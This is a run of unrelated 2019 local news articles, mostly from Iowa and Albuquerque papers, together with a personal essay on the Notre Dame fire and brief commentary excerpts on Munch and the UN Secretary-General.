nitrogen oxides and particulate matter from 2005 until 2018. Deere agreed not to contest the allegations as part of the settlement with the state. Ken Golden, spokesman for Deere & Co., said between 2000 and 2005, the PEC worked with the Iowa DNR to develop air permits for emissions from PECs engine test cells. The permits were issued in 2005. Until late 2016, PEC believed it was operating in compliance. He said once Deere became aware of the issue, the company investigated, implemented corrective actions and proactively worked with the Iowa DNR toward the issuance of new permits. Developing air permits for a research and development facility such as PEC is very complicated, given the variability in testing conducted at PEC. The information used in permitting in 2005 was found to not be correct. The in-depth review undertaken in 2016 as part of a new air permitting effort at PEC discovered the errors, Golden said. He said while Deere annually reviewed the compliance status of PEC, the permitting errors were not apparent and only were discovered during the in-depth review undertaken as part of air permitting efforts for a new project. He said to correct the permits, Iowa air rules require Deere to agree to an Administrative Consent Order with the Iowa DNR. Deere is responding to the issue with employee training, review of procedures at PEC and other facilities, implementation of an updated environmental management system, and other actions to reflect the lessons learned from the PEC situation, Golden said. Environmental compliance is a core element of Deeres corporate culture, and Deere continuously evaluates opportunities to strengthen compliance programs. The PEC, located at the corner of Deere Road and Ridgeway Avenue in Cedar Falls, is Deeres engine research and development hub, where engine designs are evaluated to ensure they meet government emission standards and customer requirements for productivity and quality, Golden said. Love 0 Funny 1 Wow 4 Sad 1 Angry 1 WATERLOO The ushers of Mount Carmel Missionary Baptist Church will host a breakfast from 8 to 11 a.m. Saturday. The menu includes bacon, sausage, salmon patties, eggs, grits, biscuits, pancakes, fruit and beverage for $10. Then at 4 p.m. Sunday, the ushers will celebrate their Annual Day. Several churches will participate in the service. All are invited to attend. Call the church at 233-9482 for information. Spring Cantata set for Sunday WATERLOO A Spring Cantata will be presented at First Baptist Church, 434 Baltimore, at 10:15 a.m. Sunday. The Sanctuary Choir under the direction of the Rev. Carol Teare will present a Symphony of Psalms. Choral music of many styles from classic to gospel make up this program. Chuck and Pat Stilwill will assist with narration. Dr. Randall Harlow will accompany the production. Instrumentalists include Cara Lockard, violin, Jesse Luke, cello, Jeff McKelvie, trumpet, and the Rev. Joe Greemore, percussion. The service is based on the ancient tradition of singing and reading the psalms. Following the cantata, everyone is asked to fellowship and refreshments in the chapel. All are welcome. Simulcast set at Riverview CEDAR FALLS Riverview Conference Center will take part in the Going Beyond simulcast with Priscilla Shirer from 9 a.m. to 4:30 p.m. Saturday. Along with Shirer, a Bible teacher, Christian recording artist Anthony Evans will lead worship via simulcast. Presented by a Nashville-based publishing company, LifeWay Christian Resources, the simulcast brings women together for a day of biblical teaching, prayer and worship. For more information, go to riverviewministries.com or call 268-0787. Hymn Festival set at CF church CEDAR FALLS Our Redeemer Lutheran Church, 902 Bluff St., will host a Hymn Festival at 3 p.m. Sunday. Primary organist for the service is Vicar Nathan Wille, SPC. Wille, from Williamsburg, is studying for the ministry at Concordia Theological Seminary in Fort Wayne, Ind., and is concluding his year of vicarage at Our Redeemer Lutheran and Peace Lutheran, Shell Rock. Organist Roxann List, choir music and soloists also will be featured. The public is welcome. For more information, call the church at 266-2509. Waterloo church plans celebration WATERLOO The Consecrated Choir of Corinthian Baptist Church, 915 Willow St., will celebrate their Annual Day at 4 p.m. Sunday. The theme is Im Satisfied With Jesus. Guests will be the Rev. Joshua Milam, pastor of New Bethel Baptist Church in Manly, and the choir from Mount Zion Baptist Church in Cedar Rapids. The public is welcome. Gospel concert planned Tuesday NEW HARTFORD The Carson family of rural Ackley will perform at the New Hartford Community Center at 7 p.m. Tuesday. The free concert will include gospel songs sung by the family and accompanied by stringed instruments. The concert is open to the public, and refreshments are served afterwards. This is the last in the series of gospel concerts for the summer; performances will resume in September. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 CEDAR RAPIDS --- A Northeast Iowa man who distributed and possessed child pornography pleaded guilty Friday in federal court in Cedar Rapids. William Rolen, 56, of New Hampton, was convicted of one count of distribution of child pornography and one count of possession of child pornography. At the plea hearing, Rolen admitted that, in 2018, he knowingly distributed child pornography. He also admitted that he possessed child pornography, including one or more depictions of prepubescent children. Sentencing before U.S. District Court Judge C.J. Williams will be set after a presentence report is prepared. Rolen remains in custody of the U.S. Marshal pending sentencing. Rolen faces a mandatory minimum sentence of 5 years of imprisonment and a possible maximum sentence of 40 years of imprisonment, a $500,000 fine, $10,200 in special assessments, and supervised release for five years to life following any imprisonment. This case is being prosecuted by Assistant U.S. Attorney Mark Tremmel and was investigated by the Iowa Division of Criminal Investigation, Homeland Security Investigations, the Eau Claire, Wis., Police Department, the New Hampton Police Department, and the Chickasaw County Sheriffs Office. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 WATERLOO The states highest court Friday affirmed the city of Waterloo was correct in determining a fair market value for land near San Marnan Drive, and an attorney for a group of residents said theyll let the decision stand. The Iowa Supreme Court decision on property sold to Sunnyside South Addition LLC sides with Waterloo, and concludes a six-year-long court battle between the city and residents over whether the land was properly sold. Obviously we are very happy with the decision, said Waterloo City Planner Aric Schroeder. Dave Nagle, the attorney for the residents who sued the city, saying the sale wasnt legal, said his clients would respect the courts decision. The court ruled this new method, which hadnt been used before, satisfied the code requirements, he said. If the court is satisfied, were satisfied. The decision paves the way for the upscale housing development to go ahead and validates that at least a portion of what the city did was legal. The Citys appraiser used a permissible method to determine the fair market value of the property, and the taxpayers failed to show the Citys notices or bidding requirements violated section 306.23, the Court wrote in its opinion, noting its the third time the Court had heard the case on appeal. The matter dates back to 1958 when the state acquired the land for a highway project. The road ended up narrower than anticipated, and the state transferred the unused-right-of-way to the city. The city tried to sell former San Marnan Drive right-of-way along Sunnyside Country Club for a 24-lot upscale housing addition beginning in 2011, when the City Council approved selling the land for $1 to Sunnyside South Addition LLC. A group of 10 property owners spearheaded by the late Bob Molinaro sued, claiming the city failed to follow the legal steps to sell unused highway right-of-way. The investors, which included Jim Walsh and John Deery Sr., had already been deeded the property and reportedly spent $1.8 million relocating San Marnan Drive and creating the housing lots when the Iowa Supreme Court in 2014 ruled the city had indeed failed to follow the sale process required by law. What followed was years of legal wrangling over how to properly proceed that included a second trip to the Iowa Supreme Court to adjust the sales process. The City Council ultimately voted to sell the land during a September 2017 meeting for $1 to the original investors after no bids were submitted, and the taxpayers group again challenged the sale. The city went through the sale process again, with Judge Richard Stochl on June 14, 2018, lifting an injunction and ruling the city had followed the proper legal steps this time. The city of Waterloo retains the land, though the plan was to transfer it back to Sunnyside South Addition LLC once the issue cleared all litigation. Schroeder said that should be happening relatively quickly. Assuming it does not need further council action, it could be a matter of days, or a week or two just to ensure proper paperwork, he said. Several of the original plaintiffs have since died in the ensuing years, including Tunis Den Hartog and Bob and Mary Ellen Molinaro, Nagle said. But their children and other taxpayers wanted to continue the suit until the end. I think (Den Hartog) will rest easy today because, although we dont like the decision, at least now we know (the city) followed it, Nagle said. Next time, we hope they follow the code, follow the legal requirements of their right to purchase legally-owned land. Schroeder said the issue was simply not having guidance that a specific Iowa Code section applied to selling unused portions of a highway. Moving forward, we know the process and the statutes that apply, and well be able to follow them accordingly, he said. In an email, Jim Walsh, a Sunnyside South investor, called the entire affair an abuse of the court system. This has been a six-year saga costing many thousands of taxpayer and private dollars and preventing the development of taxable property for no valid reason, Walsh wrote. Absolutely nothing was changed in regards to the original plan as a result of this litigation. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. WATERLOO Neighbors Friday told jurors about yelling and loud noises coming from the Downing Court townhouse apartment where 4-year-old Gracie Buss suffered a fatal head injury in 2015. It was every day, off the rails, said Jennifer Ackerman, who lived next door to the townhouse Gracie shared with the childs mother, Kristi Buss, mothers boyfriend Chad Little and Busss older son. Little, 35, is charged with first-degree murder and child endangerment causing death. Prosecutors said paramedics were called to Gracies apartment May 30, 2015, after being told she had a seizure and fell down stairs. She died days later at a hospital. Ackerman said when Gracie and her family first arrived on Downing Court, she would see the children playing outside. But after Little moved in with Buss, the children werent out as much, she said. In their place was noise. Ackerman said the noise came from Little. He had different levels of angry. ... Sometimes would be yelling, sometimes would be screaming, sometimes would be pounding, sometimes would be punching the back door, which is metal, Ackerman said. On Christmas Day, Ackerman heard yelling from when she got up in the morning until she left to visit family, she said. It was still going on when she returned, she said. Another daily visitor to Downing Court was Nashae Cook, who would check on her mother who lived nearby. Cook recounted seeing Gracie learning to ride a bike one day. Little was with the girl, and when Gracie fell, Little picked her up by the hair in a rage. He told her get up, bitch, grabbed the bike with his other hand and walked off to the apartment, Cook said. I was looking, like, why would you pick her up like that? It clearly looked like she didnt want to ride the bike or be with him, Cook said. Jurors also heard from Frank Perrin, a friend of Littles who used methamphetamine with him. Perrin said he had one rule when smoking meth with Little leave after an hour, because thats when Little became off the wall, yelling and displaying paranoia and irrational behavior. When youre high, you dont want someone that brings you down, Perrin said. Perrin also described an incident a few weeks before Gracies death: He saw Little snatch the girl up by an arm and slap her on the torso. He said after that he stayed away for about a week. After seeing that, I just couldnt go back, he said. Perrin said he and another friend were over at the Downing Court apartment around 10 p.m. May, 29, 2015, hours before the 911 call. He said he smoked meth with Little in an upstairs bedroom and left after about an hour. Ackerman, the neighbor, said she didnt hear anything out of the ordinary on the night of May 29 into May 30, 2015. Earlier Friday, forensic pathologist Dr. Dennis Firchau testified Gracie died of blunt trauma to the head. But he said he wasnt able to determine the manner of Gracies death, wasnt able to classify the death as an accident or a homicide. Paramedics who treated her said the injuries didnt appear to be consistent with a fall down eight carpeted steps, and a local emergency doctor who treated Gracie said the wounds appeared to be more consistent with abuse. Firchau, who conducted the autopsy at the University of Iowa Hospitals and Clinics in Iowa City, told jurors the constellation of injuries bruises and contusions found on both sides of her head, her back, her side, her arms and legs was consistent with abuse. But Firchau said he couldnt say if the life-ending head injuries were from an accident or an assault. Also Friday, jurors heard from another full-service car wash employee who said Little came into the business after paramedics had been called to the townhouse. Melissa Kressin said Little asked to use the phone and phonebook and said something about his cell phone being suspended. He also said he needed $80 for rent and talked about how his girl had a seizure. Kressin also said Little had two big rings on his fingers. Love 0 Funny 0 Wow 0 Sad 1 Angry 4 WATERLOO Rep. Abby Finkenauer is concerned about the future of Iowa farmers. Speaking at Waterloos United Auto Workers 838 Hall on Friday, she addressed questions about the new trade agreement being negotiated, the United States, Mexico, Canada agreement or USMCA. Around 50 people came to see one of the states newest congresswomen at her first Waterloo town hall since being elected in November. The USMCA and tariffs have caused some farmers and Finkenauer to worry about the future of produce prices. We were supposed to have a deal in March, and then it was supposed to be April, and now were about to be in May and nothing has been done, Finkenauer said. We have to make sure the administration is hearing the stories Im hearing. Congress has yet to receive a copy of the USMCA. It hasnt yet been delivered, Finkenauer said. Finkenauer talked about numerous Iowans who have been impacted by tariffs. She is worried about her brother-in-law and sister, corn and soybean farmers with two children. We need a deal, and we need it done, Finkenauer said. Its not just about numbers. Its peoples lives. Finkenauer was asked about her views on the assortment of policies put out by other freshman Democrats in the U.S. House, including the Green New Deal, Medicare for All and a $15 minimum wage. Finkenauer supports a public option for Medicare. The reality is youve got folks all across our state and all across the country who are struggling right now and not able to get care that they need because they cant even afford it, Finkenauer said. That something that shouldve, quite frankly, been done with the (Affordable Care Act) to begin with and wasnt. She went on to pledge a Democratic-controlled House would never take away protections for people with pre-existing conditions. We have to do more than what we are doing, especially on the federal level, when it comes to health care, Finkenauer said. She wants to see the minimum wage increase incrementally. She is happy to see discussions about climate change sparked by the proposed Green New Deal. Climate change is real. I believe science. I think we all do, she said. She wants to see something stronger than a resolution go forward. I want to figure out ways where we can actually have real policy here, through the committees Im working on, that address climate change and take it seriously, Finkenauer said. Love 2 Funny 5 Wow 0 Sad 0 Angry 2 CEDAR FALLS The Cedar Falls City Council on Thursday approved a resolution opposing a plan to relocate some air traffic control services from Waterloo Regional Airport. The council scheduled a special meeting to act on the resolution. Airport Director Keith Kaspari spoke to the council about how consolidation would take jobs from the Cedar Valley and send them to Des Moines. The FAA plan would have Terminal Radar Approach Control operations handled remotely by Des Moines International Airport staff. The consolidation could lead to six air traffic control jobs being lost, Kaspari said. If this passes through it would be most unfortunate because wed be losing federal jobs and federal employees. Waterloo is one of five communities recommended for consolidation, he said. We are as an airport staff, airport board, City Council, mayors office in a busy letter writing campaign period right now to recommend reversal and to oppose that (FAA) recommendation, Kaspari said. If the realignment occurs, this could be turned into, potentially, the first step in the forced closure or future closure of the air traffic control tower facility. He is urging local officials to contact Iowas congressional delegation in hopes of derailing the plan. Hes already reached out to all six members of Congress from Iowa. Kaspari said any projected cost savings are off base and do not account for nearly $10 million in next generation radar equipment recently installed at the Waterloo airport and the fact workers there are already trained on that equipment. On Monday, Kaspari and two dozen others plan to travel to Washington, D.C., to advocate against the plan. The council met Thursday so it could pass the resolution opposing the consolidation before that trip. It was unanimously approved. The Waterloo City Council approved a similar resolution this week. Kaspari also plans to reach out to Waverlys mayor for support because Bremer County provides the second-highest number of passengers to the airport. Also Thursday, the council approved a temporary liquor license for Chads Pizza for a special event at the Birdsall Park Softball Complex. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 I really like churches churches with a lower case c, that is. As I have written before, I have had the fortune of being brought up in France, but outside of the influence of any Christian church. I have never identified with that religion in a spiritual way, yet I have always liked churches, as buildings. As a kid, I would often lie in my bed in the morning, hoping to hear the village churchs bells, so that I might know what time it was without having to move even a single finger. I used to pass by that very church, a massive, fortress-like, Gothic marvel, every day when I walked to school. While there, I sometimes got the chance to look inside the disaffected 14th century chapel located on school grounds. When I went out for a walk I often ran past an old convent up the street before I could reach the ruined medieval castle that crowned the hill overlooking the village. Needless to say, growing up in an environment so saturated and entangled with ancient history is probably partly to blame for my interest in Paganism, and I am ready to bet I am not the only one. While over the years my fascination for the ancient world has only grown more intense, I have also become more aware of how fragile the heritage of said ancient world is. Every child is bound to learn at some point about the tragic fate of the library of Alexandria, but similar tragedies have happened since then, and continue to do so. I still vividly remember the profound disgust I felt when I saw the Taliban destroy the Buddhas of Bamiyan, or when the Daesh started their destructive campaign targeting the regions pre-Abrahamic heritage. It was kind of the same feeling I could feel down my throat just about a week ago, when I saw the pictures of Notre Dame de Paris engulfed in flames. It made no sense it was too big to be true, and it meant so much more than just a building being lost in flames. I had a very uneasy sleep that night, and even dreamed that a panel of architects had come to the conclusion that rebuilding the church would take about 110 years. I was angry at these dream architects when I woke up, but eventually calmed down when I got the news that most of the church was actually okay. Still, how could something so massive, so tragic, happen at one of the worlds most well-known and beloved heritage site? While we still are not completely sure about everything, we now have at least a modicum of understanding about what took place that night. On April 15th, foremen were hard at work setting up scaffolds all around the ancient roof of the cathedral. The painstaking process, which had started the year prior, was still far from being finished, and actual renovation work was still only in the planning stages. At the end of the work day, between 17:20 and 17:50 local time, the workers left the roof, took the construction site elevator down, locked the place, and turned the electrical system off. Half an hour later, an alarm went off. The computerized security system of the church indicated something was wrong somewhere by the roof. Guards were sent there but didnt find anything strange or out of place, and they left the premises. Fifteen or so minutes later, the alarm goes off again, and smoke is soon being observed by the spire. The fire had started. It took the incredible bravery of hundreds of Parisian firefighters to contain it and save the churchs basic structure, as well as the priceless artworks and relics contained within. The worst was thus averted. It was, after all, maybe not even the greatest threat faced by the much historied house of worship. Some 2000 years ago, a small isle situated in the middle of the Seine river was home to the Celtic Parisii people and their capital, Lutetia. Following the Roman conquest, the island and its surroundings grew in importance and saw the development of a hybrid Gallo-Roman culture. Atop the island, at the heart of the city, lay a pagan temple, a witness to this ancient polytheist civilization which soldiered on until Christianization, when the city first became known as Paris. During the centuries following Constantines acceptance of Christianity, a number of churches were built on or around the old temples site. A small Romanesque church succeeded the others and remained until the influential bishop and scholar Maurice de Sully ordered the construction of a much larger edifice, which would utilize newly-developed architectural engineering techniques. This was the conception of Notre Dame de Paris, and the year was 1163. It would take almost two hundred years and several generations of craftsmen for the building to be completed. In the centuries since, Notre Dame de Paris became more than just a symbol for the church or the city, but a microcosm for the entire history of the French nation. It was in the cathedral that, during the Hundred Years War, the English king Henry VI was crowned king of France in an ultimately fruitless effort to assert English domination over the French. Later, during the bloody religious wars of the 16th century, the church suffered the iconoclastic wrath of the Protestant militants. Some two centuries later, the church was similarly damaged during the French Revolution, and the building was for a few years turned into a temple of reason where the goddess of freedom was celebrated. A few years later, the building, now turned back into a church, saw the self-coronation of emperor Napoleon. As the romantic movement grew in popularity in 19th century Europe, Notre Dame turned into an icon of its own right with the help of the legendary writer Victor Hugo, who penned the Hunchback of Notre Dame in 1831. Following the resounding success of the novel, the church was renovated, and, to a degree, expanded, through the sheer determination of architect Eugene Viollet-le-Duc. It was then that the church took its definitive form as a marvel of architecture, sacred art, and a thrilling symbolism for France and Europes heritage. It could be argued that the Notre Dames churchly function was, in the end, far eclipsed by its civic status. This status was further amplified in 1905 when the French state officially separated from the church and established a tough regime of secular governance, taking legal control over most of the countrys Catholic edifices in the process. When an entity becomes a symbol for a city, a nation, a culture, and a past, it is bound to be associated with controversy at some point or another, and the fire of April 15th only helped remind some of a certain incident that took place there some six years prior. On the 21st of May, 2013, the cathedral witnessed a rare act of violence, a suicide by gunshot, perpetrated at the churchs altar by a man named Dominique Venner. Venner, an aging right-wing identitarian ideologue and historian, took his own life as a mean to publicly protest what he saw as the decay of western civilization through Americanization, third-world immigration, and the rise of the LGBT movement. The execution of such a publicly morbid act made the relatively obscure Venner into the talk of the town. Venner, an avowed Pagan who had been involved in right-wing movements for over half a century, was lionized by his ideological offspring, the modern identitarian movement. Despite Venners Pagan inclinations, the choice of Notre Dame was not anodyne. It reflected, and amplified, a shift that has been taking place within Frances far-right recently in which a renewed focus on European, western, and especially white identity has slowly eroded a more traditional and Catholic-inspired worldview. The suicide of Dominique Venner was, in more ways than one, a way to accompany and aid this evolution and charge Notre Dame, and by extension France, with a certain power to bring forth change. No surprises that, when news of the fire at Notre-Dame started to spread, this seemingly senseless tragedy immediately became an ideological battleground. Conspiracy-theory enthusiasts and other far-right ideologues saw, before the fire was even put out, the mark of terrorism, the will of a supposed new world order dead-set on destroying Europes heritage and culture. At the other end of the ring, a number of commentators started to openly minimize and mock the catastrophe, a few arguing that only white Westerners could care more about a church building than many other tragedies taking place around the world. Some internet commentators even referred to the fire as being some sort of divine retribution against the French people for the misdeeds of a teenage twitter user who, a day prior, had posted a pun about the holy city of Mecca on social media. The physical fire had not even reached its peak before it lead to a flame-war of a religious nature online. Yet this latest conflict is nothing but a symptom of an ever-increasing religious and identitarian tension agitating the country. Since the beginning of the 2010s, France has witnessed the development of divisive identity politics in which various demographic groups vie for the domination of the public space and discourse. As a result, any public discussion of religion in France is bound to create controversy and pit French people against one another. The fact that such a monumental catastrophe as the fire at Notre Dame wasnt enough to bring people together is just another sign of how divided we truly are. It reminds me, to a degree, of the public reaction following the Charlie Hebdo terror attack, which was marred by a number of incidents in which some people mocked the victims because of the journals politics and overt criticism of religion. At this point, I doubt any kind of tragedy, incident, attack or catastrophe would be of a magnitude necessary to bring us all together. A House divided cannot stand, said the American president Abraham Lincoln; I feel I can relate somewhat. To go back to the problem at hand: the fire at Notre Dame, which, besides being symbolic, was a very real incident, ended up on a more positive note than expected. The churchs basic structure and most of the treasure contained therein (including fragments of the crown of thorns and a piece of the true cross) were saved. The marvelous medieval rose windows, which reminded me so much of the one at my home villages church, came largely unscathed as well, and only two people were lightly hurt battling the fire. It could have gone worse. In the days following the fire, millions of euros were raised to help fund the reconstruction of the edifice, a process that could take anything from five to twenty years depending on who is asked. In the end, this tragedy had, in some way, a sort of positive outcome: it made heritage conservation into a hotly-debated issue the world over. Notre Dame will live, that is certain enough, but what about the other countless churches, castles, petroglyphs, or burial sites threatened by fire, negligence, and vandalism? That was the question many began to ask. While the arguments about selective outrage were certainly flared up by the announcement that some of Frances richest oligarchs ear-marked hundreds of millions towards Notre Dame, I have also seen the general discourse toward this issue change in the past couple of days. Maybe this tragedy was enough of a switch for some to reach the realization that, in the end, yes, our past is fragile. Wood burns. Stone crumbles. Memory fades. But to us, as humans, this is nothing new. Isnt it in our nature to wrestle forces that go so far beyond our control, and maybe, just maybe, not come out on top, but get even, just for one second more, one final instant? This thought reminds me of Paris, the very city in which I was born, and its coat of arms, a ship sailing across treacherous waves, and her motto: Fluctuat nec mergitur. She sails, but she does not sink. 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(1) James Waddell in MIL: At the start of the 20th century Sigmund Freud observed the psychological phenomenon of repetition compulsion, the pathological desire to repeat a pattern of behaviour over and over again. He no doubt would have diagnosed the painter Edvard Munch with such an affliction. As the British Museums new exhibition of his work demonstrates, Munch returned obsessively to certain visual motifs: uncanny sunsets, zombie-like faces, threateningly sexualised female bodies. Freud might have looked to Munchs biography for the roots of his mental anguish. There is much to unpick. His mother died from tuberculosis in 1868 when he was five. Nine years later, his sister died of the same disease. At a time of rapid industrialisation and grinding urban poverty, tuberculosis was tragically common. Munch had to watch as his father, a doctor, desperately tried to save the lives of consumptive patients, often resorting to prayer when all else had failed. This, and the Lutheran strictures of Munchs adolescence in conservative Kristiana (now Oslo), did little to encourage the healthy processing of Munchs trauma. By the time he reached adulthood he longed to escape, and managed to do so by falling in with a bohemian set of radical artists and writers, including Henrik Ibsen and August Strindberg. He soon developed a visual style that cast aside the Scandinavian traditions of formal portraiture and stately landscapes, resulting in vivid and unnerving prints. Printmaking is by its very nature a process of repetition. There is also something almost violent about its technical vocabulary of acid bites, drypoint scratches and woodcut gouges. Possibly this appealed to Munch, as he printed, scraped, clawed and re-printed, the resulting image darkening with each new impression. More here. Ken Roth in the Washington Post: Halfway through his first five-year term, U.N. Secretary General Antonio Guterres is becoming defined by his silence on human rights even as serious rights abuses proliferate. U.N. secretaries general have all struggled with when to speak out, trying to balance their role as quiet mediators of disputes with the need to represent core U.N. values. Outspoken support for rights can close some diplomatic doors but keeping quiet leaves the perception that the United Nations is indifferent to atrocities, abandoning the victims while often undermining prospects for peace. Guterres has firmly sided with quiet diplomacy. He set the tone early in his tenure, which corresponded with President Trumps inauguration. Guterres criticized Trumps Muslim ban only after many other governments had condemned it and then without mentioning Trump. Guterres perhaps didnt want to risk giving Trump an excuse to stop sending checks to the United Nations. But that reluctance to speak out has also characterized his approach to other powerful governments such as Saudi Arabia, China and Russia. More here. Share your feedback to help improve our site! Getting nine performers on the same page can be a daunting task. But when each performer knows exactly what has to be done, it makes it easier. Thats why Latin funk orchestra Grupo Fantasma has been able to navigate a successful career. The Grammy Award-winning group is touring in support of its seventh and latest album, American Music: Volume 7, and is making a stop at Launchpad on Wednesday, May 1. The journey to getting the album completed was long. The band began work on the album in November 2017 and started recording in January 2018. There were a couple of songs written before that period, bassist Greg Gonzalez says. Weve had a few songs in our back pocket, as well. We didnt go into this empty-handed. Another aspect that changed for this album is that Grupo Fantasma worked as a unit when writing. Gonzalez says that as the band wrote new material, it was a collaborative effort. In the past, writing meant that one person did the bulk of it, he says. We did have some songs that were done by one person, but the overall feel of the album has all of us working together on the writing process. The group recorded the album at Sonic Ranch in Tornillo, Texas, just outside El Paso. While in the studio, the band worked with Carlos El Loco Bedoya, a highly regarded Miami-based Colombian producer, audio engineer, musician and songwriter. He has extensive credits, having worked with artists as diverse and successful as Missy Elliott, Beyonce, Weezer and ChocQuibTown. He brought a full range of talents, Gonzalez says. Loco was able to contribute to the arrangements and the musicality. He contributed really great input on all the different levels. To have somebody that could help us on all the different facets was priceless. The vinyl version of the album has nine songs on it, and the CD has 13. On tour, the group is playing a good chunk of the new music. The bigger challenge is wading through the entire catalog and choosing, putting the songs together so it feels cohesive, he says. Thats when we put our signature stamp on it. Copyright 2019 Albuquerque Journal State prosecutors dropped charges against a teenager accused of killing a mail carrier in a West Side neighborhood on Monday afternoon, and the case now rests in the hands of federal authorities. Bernalillo County District Attorneys Office spokesman Michael Patrick said Xavier Zamora will be tried in U.S. District Court in the slaying of 47-year-old Jose Pepe Hernandez, a longtime mail carrier, after his case was dismissed in state court Thursday. We work closely with our federal law enforcement partners, especially in cases where a crime involves the use of a gun in our community, Patrick said. This is a tragic incident which ended in the death of a federal employee, and we agreed to transfer the case to the United States Attorneys Office for prosecution. Police say Hernandez was on his postal route Monday when he tried to defuse an argument between Zamora and his mother outside their home in the 700 block of Terracotta SW, near Tower and 98th Street. When Zamora became aggressive Hernandez pepper-sprayed the teen. Police say thats when Zamora got a gun from inside the house and shot Hernandez, who died at the scene. Zamora was arrested late Wednesday night by Albuquerque police and U.S. Postal Inspection Service officers after a two-day search for the youth. Now that Zamoras prosecution is being handled by the U.S. Attorneys Office and because he is a juvenile theres no guarantee the public will ever find out whether he is convicted, or the sentence imposed. Zamora turned 17 earlier this month. The U.S. Attorneys Office asked 2nd Judicial District Attorney Raul Torrezs office on Thursday to drop the open murder count charged in state court two days earlier to permit the federal prosecution, given that the victim was a federal employee. It is unclear what federal charges Zamora will face. Asked Thursday about the pending prosecution, U.S. Attorneys Office spokeswoman Elizabeth Martinez told the Journal in an email: In the federal judicial system, juvenile delinquency proceedings are sealed and are safeguarded from disclosure from unauthorized persons, including the media. The U.S. Attorneys Office therefore respectfully declines to respond to your inquiry. Martinez added that because of the confidential nature of federal juvenile delinquency proceedings, I have deleted identifiers from your email in my response. Federal law permits prosecutors to seek permission in U.S. District Court to try a juvenile as an adult, in certain conditions. If that occurs, the proceedings would be public like any other criminal case. But federal law asks that the federal judge considering the transfer request to consider certain factors, including a juveniles prior delinquency record. Asked Thursday about Zamoras prior criminal history, Sidney Hill, spokesman for the 2nd Judicial District Court in Albuquerque, told the Journal it doesnt appear that Zamora has a prior delinquency or criminal record as a juvenile. We have completed our search, Hill said. There are no juvenile court records for Mr. Zamora. Asked whether U.S. Attorney John C. Anderson would request that Zamora be tried as an adult, Martinez replied in an email, All proceedings are sealed. A friend of the Hernandez family, Melissa Brown, said Thursday that the family is relieved Zamora has been caught. They hope for a resolution in the justice system proportionate to his horrible and extreme act of violence so that no other family has to go through the pain and devastation of losing a loved one that they are currently suffering, Brown said. Surveys show the majority of New Mexicos private well users havent had their water tested, even though most do not have water treatment systems installed. To save consumers money tests are valued at around $150 and to educate the public about safe drinking water, the New Mexicos Environment Department and Department of Health are hosting two free domestic well water testing event in Dona Ana County Friday and Saturday, April 26 and 27. The free tests will be available at the following locations: Friday from 3 to 6 p.m. at the Anthony Water and Sanitation District office, 1155 N 4th St., in Anthony; and Saturday from 8:30 a.m. to 1 p.m. at the Farmers and Crafts Market of Las Cruces, intersection of Las Cruces Ave. and Main St. Tests will be offered on a first-come, first-served basis to the first 200 participants at each event, or while supplies are available. Test results will be mailed to households following the event. WASHINGTON One disturbing aspect of the Easter bombings in Sri Lanka was that the slaughter of 321 victims came at a time when America is suffering what might be described as terrorism fatigue. The wars against al-Qaida and the Islamic State are part of a painful past that policymakers and the public want to escape. Those Middle East conflicts were costly and distracting. They didnt produce many tangible gains, other than killing terrorists. Sept. 11, 2001, feels like it happened a long time ago, and many politicians want to move on. But the networks of violent extremists are still there, stretching to places most of us probably hadnt even imagined, like Sri Lanka. The bombings there of churches and other sites were allegedly staged by two obscure Islamist groups, National Thowheed Jamaath and Jammiyathul Millathu Ibrahim with the Islamic State claiming that it also played a role. Terrorism is metastasizing in other ways, as militant white nationalists join the melee. Brenton Harrison Tarrant, an Australian extremist, allegedly shot and killed 50 people at two mosques in Christchurch, New Zealand, last month after circulating a manifesto expressing rage at migrants. Hideously, there are signs that the Sri Lankan church bombings may have been an act of revenge for the New Zealand mosque shootings in one of those spasms of hatred that are a terrorists dream. Were seeing the viral spread of the Islamic State, which takes root in fragile environments where people feel disenfranchised and excluded, says Nancy Lindborg, president of the U.S. Institute of Peace. She explains that the Islamic States global network has grown so rapidly over the last five years that its bigger now than al-Qaida ever was. We cant kill our way out of this, Lindborg argues, noting that more repressive security forces in places like Sri Lanka will only make the problem worse. Lindborg spoke Tuesday at a meeting hosted by her institute to release a new report titled Preventing Extremism in Fragile States: A New Approach. The gathering was timely, and the conclusions were stark. America has failed to learn the lesson of Sept. 11, argued Tom Kean, the Republican former governor of New Jersey, who was chair of the 9/11 Commission and is co-chair of the new USIP task force. The U.S. took down the leadership of al-Qaida, to be sure, just as it did later against the Islamic State. But the 9/11 Commission had argued for a broader strategy that would attack the underlying causes of terrorism, not just respond militarily, Kean reminded the USIP audience. Our current focus on counterterrorism is necessary, but neither sufficient nor cost-effective, argued the report prepared by Keans task force. The authors reckoned that since 2001, the war on terror has taken 10,000 American lives, injured 50,000 others, and cost the U.S. an estimated total of $5.9 trillion. Even after that immense commitment, the problem continues and as the report cautions, the current U.S. approach is unsustainable. Whats the alternative? Unfortunately, its the slow and unglamorous work of preventing weak states from collapsing to the point that theyre terrorism havens. Its about building governance and economic development, rather than night raids by Special Operations Forces. Its about connecting the dots among different intelligence agencies and nations something thats been given lip service, endlessly, since 9/11 but still hasnt been achieved. Nations, like individual human beings, often seem condemned to make the same mistakes over and over. Thats certainly true with countering terrorism. Policymakers in the U.S. and allied countries understand intellectually that a safe and stable world requires reasonable governance, a public belief that some sort of rough justice prevails, and enough jobs that adolescent men arent tempted to join terror groups. Were not talking here about imposing democracy or making the Middle East and Africa look like Switzerland. Were talking the basics food, water, access to justice, good-enough governance. The United States cant do this job by itself, even if it tries. Weve certainly found that out, but America remains the essential partner. Yet were fatigued. These mundane anti-fragility tasks dont win medals for soldiers, or get politicians re-elected, or make business executives rich, so they end up at the bottom of the pile. Another problem is that this strategy is led by the State Department, the most underutilized and money-starved agency of our government. Were horrified when bombs ravage places of worship on the other side of the globe. But not enough to do the boring but essential thing that has been staring America in the face for 18 years, which is to slowly help build a world thats more just, prosperous and stable. Lawmakers in New Mexico have listened. A poll conducted by the Albuquerque Journal about two months before last years election found voters identified crime, education and homelessness as some of the top problems in need of solutions in our state. The Legislature responded to these concerns by allocating $64 million a 63 percent increase from last years sum to local projects, including money to update our first-responders communication system, for city police and a new homeless shelter. This pot of money, for Albuquerque only, is in addition to the more than $500 million lawmakers added to the statewide education budget. 